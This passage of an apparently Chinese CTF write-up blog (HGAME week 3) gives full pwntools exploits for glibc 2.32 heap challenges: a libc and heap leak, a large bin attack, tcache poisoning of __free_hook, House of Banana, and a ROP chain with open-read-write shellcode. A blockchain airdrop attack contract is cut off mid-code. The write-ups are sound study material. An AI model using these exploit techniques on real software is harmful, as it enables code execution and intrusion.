id="large-note"><a href="#large-note" class="headerlink" title="large_note"></a>large_note</h3><p>Unsorted bin泄露libc base, heap base，large bin attack攻击mp_.tcache_bins，使tcache对大堆块启用，然后tcache poisoning劫持free hook</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line"><span class="comment">#p=process(&#x27;./vuln&#x27;)</span></span><br><span class="line">p=connect(<span class="string">&#x27;week-3.hgame.lwsec.cn&#x27;</span>,<span class="number">30078</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;./libc-2.32.so&#x27;</span>)</span><br><span class="line">ld=ELF(<span class="string">&#x27;./ld-2.32.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">idx, size, content=<span class="string">b&#x27;&#x27;</span></span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Size: &#x27;</span>,<span class="built_in">str</span>(size).encode())</span><br><span class="line"><span class="keyword">if</span> content!=<span class="string">b&#x27;&#x27;</span>:</span><br><span class="line">edit(idx,content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">idx, content=<span class="string">b&#x27;&#x27;</span></span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.sendafter(<span class="string">b&#x27;Content: &#x27;</span>,content <span class="keyword">if</span> content!=<span class="string">b&#x27;&#x27;</span> <span class="keyword">else</span> <span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">idx</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">idx</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;4&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">add(<span class="number">0</span>,<span class="number">0x800</span>)</span><br><span class="line">add(<span class="number">15</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">1</span>,<span class="number">0x7f0</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">libc_base=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>)-<span class="number">1981440</span></span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">2</span>,<span class="number">0x820</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">fd=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)</span><br><span class="line">info(<span class="string">&#x27;fd:&#x27;</span>+<span class="built_in">hex</span>(fd))</span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">16</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">p.recvuntil(<span class="string">b&#x27;a&#x27;</span>*<span class="number">16</span>)</span><br><span class="line">heap=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)</span><br><span class="line">edit(<span class="number">0</span>,p64(fd)*<span class="number">2</span>)</span><br><span class="line">info(<span class="string">&#x27;libc_base:&#x27;</span>+<span class="built_in">hex</span>(libc_base))</span><br><span class="line">libc.address=libc_base</span><br><span class="line">ld.address=libc_base+<span class="number">0x1ec000</span></span><br><span class="line">tcache_bins=libc_base+<span class="number">0x1e32d0</span></span><br><span class="line">global_max_fast=libc_base+<span class="number">0x1e6e98</span></span><br><span class="line">gadget=libc_base+<span class="number">0x14b760</span></span><br><span class="line">info(<span class="string">&#x27;heap:&#x27;</span>+<span class="built_in">hex</span>(heap))</span><br><span class="line"></span><br><span class="line">edit(<span class="number">0</span>, p64(<span class="number">0</span>)*<span class="number">3</span>+p64(tcache_bins-<span class="number">0x20</span>))</span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">3</span>,<span class="number">0x840</span>)</span><br><span class="line">add(<span class="number">4</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">5</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">15</span>,<span class="number">0x900</span>)</span><br><span class="line">delete(<span class="number">4</span>)</span><br><span class="line">delete(<span class="number">5</span>)</span><br><span class="line">edit(<span class="number">5</span>,p64(((heap&gt;&gt;<span class="number">12</span>)+<span class="number">3</span>)^libc.sym[<span class="string">&#x27;__free_hook&#x27;</span>]))</span><br><span class="line">add(<span class="number">6</span>,<span class="number">0x900</span>,<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">add(<span class="number">7</span>,<span class="number">0x900</span>)</span><br><span class="line">edit(<span class="number">7</span>,p64(libc.sym[<span class="string">&#x27;system&#x27;</span>]))</span><br><span class="line">delete(<span class="number">6</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>House of banana也能做，就是比较麻烦（写exp的时候思维有点乱，结构体也没用flat包装，有点丑）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line"><span class="comment">#p=process(&#x27;./vuln&#x27;)</span></span><br><span class="line">p=connect(<span class="string">&#x27;week-3.hgame.lwsec.cn&#x27;</span>,<span class="number">30801</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;./libc-2.32.so&#x27;</span>)</span><br><span class="line">ld=ELF(<span class="string">&#x27;./ld-2.32.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">idx, size, content=<span class="string">b&#x27;&#x27;</span></span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Size: &#x27;</span>,<span class="built_in">str</span>(size).encode())</span><br><span class="line"><span class="keyword">if</span> content!=<span class="string">b&#x27;&#x27;</span>:</span><br><span class="line">edit(idx,content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">idx, content=<span class="string">b&#x27;&#x27;</span></span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.sendafter(<span class="string">b&#x27;Content: &#x27;</span>,content <span class="keyword">if</span> content!=<span class="string">b&#x27;&#x27;</span> <span class="keyword">else</span> <span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">idx</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">idx</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;4&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">add(<span class="number">5</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">6</span>,<span class="number">0x500</span>)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">5</span>)</span><br><span class="line">delete(<span class="number">6</span>)</span><br><span class="line">add(<span class="number">8</span>,<span class="number">0x500</span>)</span><br><span class="line">add(<span class="number">9</span>,<span class="number">0x800</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">10</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">11</span>,<span class="number">0x500</span>)</span><br><span class="line">delete(<span class="number">10</span>)</span><br><span class="line">delete(<span class="number">11</span>)</span><br><span class="line">add(<span class="number">1</span>,<span class="number">0x500</span>)</span><br><span class="line">add(<span class="number">2</span>,<span class="number">0x7f0</span>)</span><br><span class="line">delete(<span class="number">9</span>)</span><br><span class="line"></span><br><span class="line">edit(<span class="number">9</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">show(<span class="number">9</span>)</span><br><span class="line">libc_base=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>)-<span class="number">1981440</span></span><br><span class="line">edit(<span class="number">9</span>,<span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">3</span>,<span class="number">0x810</span>)</span><br><span class="line">show(<span class="number">9</span>)</span><br><span class="line">fd=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)</span><br><span class="line">edit(<span class="number">9</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">16</span>)</span><br><span class="line">show(<span class="number">9</span>)</span><br><span class="line">p.recvuntil(<span class="string">b&#x27;a&#x27;</span>*<span class="number">16</span>)</span><br><span class="line">heap=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)+<span class="number">1296</span>+<span class="number">2064</span>+<span class="number">16</span></span><br><span class="line">edit(<span class="number">9</span>,p64(fd)*<span class="number">2</span>)</span><br><span class="line">info(<span class="string">&#x27;libc_base:&#x27;</span>+<span class="built_in">hex</span>(libc_base))</span><br><span class="line">libc.address=libc_base</span><br><span class="line">ld.address=libc_base+<span class="number">0x1ec000</span></span><br><span class="line">_rtld_global=ld.sym[<span class="string">&#x27;_rtld_global&#x27;</span>]</span><br><span class="line">info(<span class="string">&#x27;_rtld_global:&#x27;</span>+<span class="built_in">hex</span>(_rtld_global))</span><br><span class="line">one_gadget=libc_base+<span class="number">0xdf54c</span></span><br><span class="line">edit(<span class="number">9</span>, p64(<span class="number">0</span>)*<span class="number">3</span>+p64(_rtld_global-<span class="number">0x20</span>))</span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">add(<span class="number">4</span>,<span class="number">0x860</span>)</span><br><span class="line">payload=<span class="string">b&#x27;\x00&#x27;</span>*<span class="number">0x500</span>+p64(heap+<span class="number">0x32</span>*<span class="number">8</span>)+p64(<span class="number">0</span>)</span><br><span class="line">edit(<span class="number">10</span>,payload)</span><br><span class="line">payload=p64(<span class="number">0</span>)+p64(heap+<span class="number">2</span>*<span class="number">8</span>)+p64(<span class="number">0</span>)+p64(heap-<span class="number">16</span>)+p64(<span class="number">0</span>)+p64(heap+<span class="number">3</span>*<span class="number">8</span>)+p64(heap+<span class="number">8</span>*<span class="number">8</span>)+p64(heap+<span class="number">2</span>*<span class="number">8</span>)+p64(heap+<span class="number">3</span>*<span class="number">8</span>)+p64(<span class="number">0</span>)*<span class="number">4</span>+p64(heap+<span class="number">8</span>*<span class="number">8</span>)+p64(<span class="number">0</span>)*<span class="number">18</span>+p64(heap+<span class="number">0x30</span>*<span class="number">8</span>)+p64(<span class="number">0</span>)+p64(heap+<span class="number">0x23</span>*<span class="number">8</span>)+p64(<span class="number">0</span>)+p64(<span class="number">8</span>)+p64(<span class="number">0</span>)*<span class="number">11</span>+p64(<span class="number">0x1a</span>)+p64(<span class="number">0</span>)+p64(one_gadget)+p64(<span class="number">0</span>)*<span class="number">46</span>+p64(<span class="number">0x800000000</span>)</span><br><span class="line">edit(<span class="number">2</span>,payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h3 id="note-context"><a href="#note-context" class="headerlink" title="note_context"></a>note_context</h3><p>前面和上道题类似，不过因为ban了execve，要用orw，劫持free hook的时候换为一个舒服的gadget，虽然题目意思是用setcontext那个，不过我还是更喜欢栈迁移后ROP</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line"><span class="comment">#p=process(&#x27;./vuln&#x27;)</span></span><br><span class="line">p=connect(<span class="string">&#x27;week-3.hgame.lwsec.cn&#x27;</span>,<span class="number">32568</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;./libc-2.32.so&#x27;</span>)</span><br><span class="line">ld=ELF(<span class="string">&#x27;./ld-2.32.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">idx, size, content=<span class="string">b&#x27;&#x27;</span></span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Size: &#x27;</span>,<span class="built_in">str</span>(size).encode())</span><br><span class="line"><span class="keyword">if</span> content!=<span class="string">b&#x27;&#x27;</span>:</span><br><span class="line">edit(idx,content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">idx, content=<span class="string">b&#x27;&#x27;</span></span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;3&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line">p.sendafter(<span class="string">b&#x27;Content: &#x27;</span>,content <span class="keyword">if</span> content!=<span class="string">b&#x27;&#x27;</span> <span class="keyword">else</span> <span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">idx</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">idx</span>):</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;4&#x27;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;Index: &#x27;</span>,<span class="built_in">str</span>(idx).encode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">add(<span class="number">0</span>,<span class="number">0x800</span>)</span><br><span class="line">add(<span class="number">15</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">1</span>,<span class="number">0x7f0</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">libc_base=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)-<span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>)-<span class="number">1981440</span></span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">2</span>,<span class="number">0x820</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">fd=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)</span><br><span class="line">info(<span class="string">&#x27;fd:&#x27;</span>+<span class="built_in">hex</span>(fd))</span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b&#x27;a&#x27;</span>*<span class="number">16</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line">p.recvuntil(<span class="string">b&#x27;a&#x27;</span>*<span class="number">16</span>)</span><br><span class="line">heap=u64(p.recv(<span class="number">6</span>)+<span class="string">b&#x27;\x00\x00&#x27;</span>)+<span class="number">12992</span></span><br><span class="line">heap_base=heap-<span class="number">0x3550</span></span><br><span class="line">edit(<span class="number">0</span>,p64(fd)*<span class="number">2</span>)</span><br><span class="line">info(<span class="string">&#x27;libc_base:&#x27;</span>+<span class="built_in">hex</span>(libc_base))</span><br><span class="line">libc.address=libc_base</span><br><span class="line">ld.address=libc_base+<span class="number">0x1ec000</span></span><br><span class="line">tcache_bins=libc_base+<span class="number">0x1e32d0</span></span><br><span class="line">global_max_fast=libc_base+<span class="number">0x1e6e98</span></span><br><span class="line"></span><br><span class="line">info(<span class="string">&#x27;heap:&#x27;</span>+<span class="built_in">hex</span>(heap))</span><br><span class="line"></span><br><span class="line">edit(<span class="number">0</span>, p64(<span class="number">0</span>)*<span class="number">3</span>+p64(tcache_bins-<span class="number">0x20</span>))</span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">3</span>,<span class="number">0x840</span>)</span><br><span class="line">add(<span class="number">4</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">5</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">15</span>,<span class="number">0x900</span>)</span><br><span class="line">delete(<span class="number">4</span>)</span><br><span class="line">delete(<span class="number">5</span>)</span><br><span class="line">edit(<span class="number">5</span>,p64((heap&gt;&gt;<span class="number">12</span>)^libc.sym[<span class="string">&#x27;__free_hook&#x27;</span>]))</span><br><span class="line"></span><br><span class="line">pop_rdi=libc_base+<span class="number">0x2858f</span></span><br><span class="line">pop_rsi=libc_base+<span class="number">0x2ac3f</span></span><br><span class="line">pop_rdx_r12=libc_base+<span class="number">0x114161</span></span><br><span class="line">leave_ret=libc_base+<span class="number">0x5591c</span></span><br><span class="line">pop_rbx_r12_r13_r14=libc_base+<span class="number">0x10ab60</span></span><br><span class="line">roppayload=p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(<span class="number">0x8000</span>)+p64(pop_rdx_r12)+p64(<span class="number">7</span>)+p64(<span class="number">0</span>)+p64(libc.sym[<span class="string">&#x27;mprotect&#x27;</span>])+p64(heap+<span class="number">0x200</span>)</span><br><span class="line">orw=<span class="string">b&#x27;\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05&#x27;</span></span><br><span class="line">payload=flat(&#123;</span><br><span class="line"><span class="number">0x48</span>:p64(heap+<span class="number">0x100</span>),</span><br><span class="line"><span class="number">0x108</span>:p64(pop_rbx_r12_r13_r14),</span><br><span class="line"><span class="number">0x118</span>:p64(heap),</span><br><span class="line"><span class="number">0x28</span>:p64(leave_ret),</span><br><span class="line"><span class="number">0x130</span>:roppayload,</span><br><span class="line"><span class="number">0x200</span>:orw</span><br><span class="line">&#125;)</span><br><span class="line">gadget1=libc_base+<span class="number">0x14b760</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">mov     rdx, [rdi+8]</span></span><br><span class="line"><span class="string">mov     [rsp+0C8h+var_C8], rax</span></span><br><span class="line"><span class="string">call    qword ptr [rdx+20h]</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">gadget2=libc_base+<span class="number">0x14e72a</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">mov     rbp, [rdi+48h]</span></span><br><span class="line"><span class="string">mov     rax, [rbp+18h]</span></span><br><span class="line"><span class="string">lea     r13, [rbp+10h]</span></span><br><span class="line"><span class="string">mov     dword ptr [rbp+10h], 0</span></span><br><span class="line"><span class="string">mov     rdi, r13</span></span><br><span class="line"><span class="string">call    qword ptr [rax+28h]</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">add(<span class="number">6</span>,<span class="number">0x900</span>)</span><br><span class="line">add(<span class="number">7</span>,<span class="number">0x900</span>,p64(gadget2))</span><br><span class="line">edit(<span class="number">5</span>,payload)</span><br><span class="line">delete(<span class="number">5</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="misc"><a href="#misc" class="headerlink" title="misc"></a>misc</h2><h3 id="Tunnel"><a href="#Tunnel" class="headerlink" title="Tunnel"></a>Tunnel</h3><p>非预期，直接strings里面就有flag</p><h2 id="blockchain"><a href="#blockchain" class="headerlink" title="blockchain"></a>blockchain</h2><p>薅羊毛攻击，绕isEOA判断直接把攻击代码写在constructor里，照抄ctf-wiki上的攻击合约就行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">contract Hacker &#123;</span><br><span class="line">    address _addr;</span><br><span class="line"></span><br><span class="line">    constructor() payable&#123;</span><br><span class="line">        _addr=0x446e3fE78ce4be732d25124c34aF0A8176eff4E2;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    function attack_airdrop (int num) external&#123;</span><br><span class="line">        for (int i=0;i&lt;num;i++)&#123;</span><br><span class="line">            new middle_attack(_addr,address(this));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    function get_flag() external&#123;</span><br><span class="line">        VidarToken target = VidarToken(_addr);</span><br><span class="line">        target.solve();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">contract middle_attack&#123;</span><br><span class="line">    constructor(address target_addr, address contract_addr)&#123;</span><br><span class="line">        VidarToken target = 